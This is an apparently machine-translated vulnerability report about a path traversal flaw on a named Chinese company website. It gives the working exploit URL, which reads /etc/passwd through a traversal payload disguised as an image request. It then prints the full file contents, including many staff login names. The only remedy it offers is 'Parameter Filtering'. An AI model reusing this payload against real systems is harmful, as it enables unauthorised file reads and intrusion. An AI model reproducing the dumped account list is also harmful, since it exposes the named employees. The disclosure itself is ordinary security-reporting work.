A system can read arbitrary files (/etc/passwd)

A system can read arbitrary files (/etc/passwd)

Allows you to view arbitrary system files,

 

Http://price.ziroom.com.cn /? _ P =.../../etc/passwd000000.jpg
 

 

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologinoprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologingdm:x:42:42::/var/gdm:/sbin/nologinsabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologinident:x:98:98::/:/sbin/nologinpegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologinwww:x:600:600::/dev/null:/no/loginmysql:x:501:501::/dev/null:/sbin/nologintest:x:502:502::/usr/test:/sbin/nologinzhanghy:x:504:505::/home/zhanghy:/bin/bashsa:x:0:0::/home/sa:/sbin/nologinyangy99:x:506:507::/home/yangy99:/bin/bashmashuangxi:x:507:508::/home/mashuangxi:/bin/bashwangxinghua:x:508:509::/home/wangxinghua:/bin/bashbaihaijiang:x:513:514::/home/baihaijiang:/bin/bashzabbix:x:514:515::/home/zabbix:/sbin/nologinwanli:x:601:601::/home/wanli:/bin/bashyangguang:x:603:603::/home/yangguang:/bin/bashzhanghongpeng:x:604:604::/home/zhanghongpeng:/bin/bashzhaoli:x:605:605::/home/zhaoli:/bin/bashliuyong:x:606:606::/home/liuyong:/bin/bashweiyiqiang:x:607:607::/home/weiyiqiang:/bin/bashqiaojiwei:x:608:608::/home/qiaojiwei:/bin/bashzhangshiwen:x:609:609::/home/zhangshiwen:/bin/bashguoxiaonan:x:610:610::/home/guoxiaonan:/bin/bashjiaojie:x:611:611::/home/jiaojie:/bin/bashxuxiaoxia:x:612:612::/home/xuxiaoxia:/bin/bashzhengkai:x:613:613::/home/zhengkai:/bin/bashsunjunchao:x:614:614::/home/sunjunchao:/bin/bashnixiang:x:615:615::/home/nixiang:/bin/bashzhangli:x:616:616::/home/zhangli:/bin/bash

 

Solution:

Parameter Filtering